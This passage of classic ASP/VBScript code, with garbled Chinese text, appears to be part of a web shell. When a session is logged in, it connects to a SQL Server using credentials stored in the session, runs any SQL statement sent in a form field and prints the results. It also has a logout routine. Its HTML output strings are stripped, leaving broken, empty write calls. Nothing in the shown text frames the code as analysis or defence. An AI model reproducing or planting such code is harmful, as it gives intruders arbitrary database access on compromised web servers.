    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="sql" then if session("login")<>"" then if request.form("sql")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery=request.form("sql") set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if end if if request("sqlaaa")="logout" then set adoconn=nothing session("login")="" session("name")="" session("pass")="" session("server")="" session("port")="" session("system")="" session("pri")="" response.write "" end if end function RRS""%>